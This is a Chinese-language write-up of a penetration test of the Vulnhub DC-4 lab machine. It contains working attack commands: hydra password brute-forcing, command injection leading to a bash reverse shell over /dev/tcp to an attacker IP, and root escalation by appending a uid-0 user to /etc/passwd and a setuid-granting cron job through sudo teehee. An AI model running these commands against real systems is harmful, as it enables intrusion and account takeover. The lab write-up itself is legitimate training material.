Vulnhub — DC4靶機滲透

在這裡插入圖片描述
用nmap掃描ip和埠,發現只開啟了22ssh埠和80http埠
打開網頁只有一個登錄介面
目錄爆破沒有發現什麼有用的,嘗試對登錄進行弱口令爆破
一開始使用burpsuite,使用一個小字典進行爆破但是沒有爆破出來,嘗試用一個大字典來爆破,於是用了kali的usr/share/wordlist的rockyou字典,但是由於字典太大了導不進burpsuite,所以用hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.241.160 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F
介紹一下參數

-l:LOGIN 指定破解的用戶,對特定用戶破解
-L:FILE指定用戶名字典。
-p:PASS小寫,指定密碼破解,少用,一般是採用密碼字典
-P:FILE大寫,指定密碼字典。
-F:找到第一對登錄名或者密碼的時候中止破解
http-form-post:登錄的方式
路徑為ip下的login.php,用戶名為先前設定的admin,密碼為先前設定的字典
後面是退出的判斷語句,默認是沒有:S的,代表黑名單,即返回的報文包含:後面的內容則繼續爆破,但是現在是S:,我猜測是變為白名單匹配,即返回的內容不是logout則繼續匹配,至於logout我猜測是登錄成功後會包含有logout的字眼

得出的密碼為happy
在這裡插入圖片描述
在這裡插入圖片描述
登錄進去後發現似乎有和命令相關的,打開驗證
在這裡插入圖片描述
抓包,發現裡面傳入了命令,嘗試修改命令,發現可以正常執行,存在RCE漏洞
在這裡插入圖片描述
既然可以執行命令,就嘗試反彈shell
在nc建立本地監聽
nc -lp 2333
目標機器反彈bash
/bin/bash 'bash -i >& /dev/tcp/192.168.1.4/4444 0>&1'
可以看到機器已經上線
在這裡插入圖片描述
嘗試打開root,發現打開不了,嘗試suid提權
在這裡插入圖片描述
但是沒有合適的進程,查看內核
在這裡插入圖片描述
搜索相關漏洞,但是一個都沒有搜到
考慮到剛才檢測到了靶機開放了22ssh埠,所以應該是可以使用ssh爆破,所以先查看用戶
在這裡插入圖片描述
可以看到有三個用戶,猜測其中一個應該可以用來ssh登錄,到不同用戶的目錄看一下
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
可以看到jim有一個叫做old-passwords.bak的文件,這個提示也太明顯了
將裡面的文件全部複製出來到文件裡面,再次使用hydra爆破,密碼為jibril04
在這裡插入圖片描述
登陸成功,還提示有個郵件
在這裡插入圖片描述
郵件內容(發現內容透露出了Exim 4.89版本,可以用這個提權)

From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is: ^xHhA&hvim0y

See ya,
Charles

要點
charles@dc-4,密碼^xHhA&hvim0y,好傢夥,擱著套娃
登陸成功後依舊不是root許可權,嘗試suid提權失敗,輸入命令

sudo -l
-l 列出目前用戶可執行與無法執行的指令。

在這裡插入圖片描述
發現charles可以不需要密碼就運行teehee,查看這個程式的作用
在這裡插入圖片描述
發現他有寫入的許可權,那麼我們有三種方法

  1. 修改/etc/passwd的內容,增加一個新的root用戶

  2. 和之前一樣增加定時任務寫入提權相關的命令,並修改定時任務的許可權以root許可權執行

  3. 若定時任務內有腳本且可以被修改則可以修改腳本內容為相關命令

  4. 修改/etc/passwd的內容,增加一個新的root用戶
    在這裡插入圖片描述
    創建一個uid和gid都為0的用戶
    echo "wang::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    然後就可以su wang切換到wang用戶,但是不知道為什麼要我輸入密碼
    由於teehee只能寫入不能修改,所以沒法修改當前用戶的許可權,只能添加一個新用戶

  5. 和之前一樣增加定時任務寫入提權相關的命令,並修改定時任務的許可權以root許可權執行
    echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
    五個*代表著這個定時任務默認沒分鐘都會執行通過執行的腳本將/bin/sh的許可權修改為4777,這樣就可以在非root用戶下執行它,並且執行期間擁有root許可權,然後運行sh
    在這裡插入圖片描述
    在這裡插入圖片描述
    我嘗試echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab,運行bash’後不知道為什麼不是管理員許可權

  6. 若定時任務內有腳本且可以被修改則可以修改腳本內容為相關命令
    但是由於兩個用戶的定時任務都沒有腳本可以修改,所以此方法無效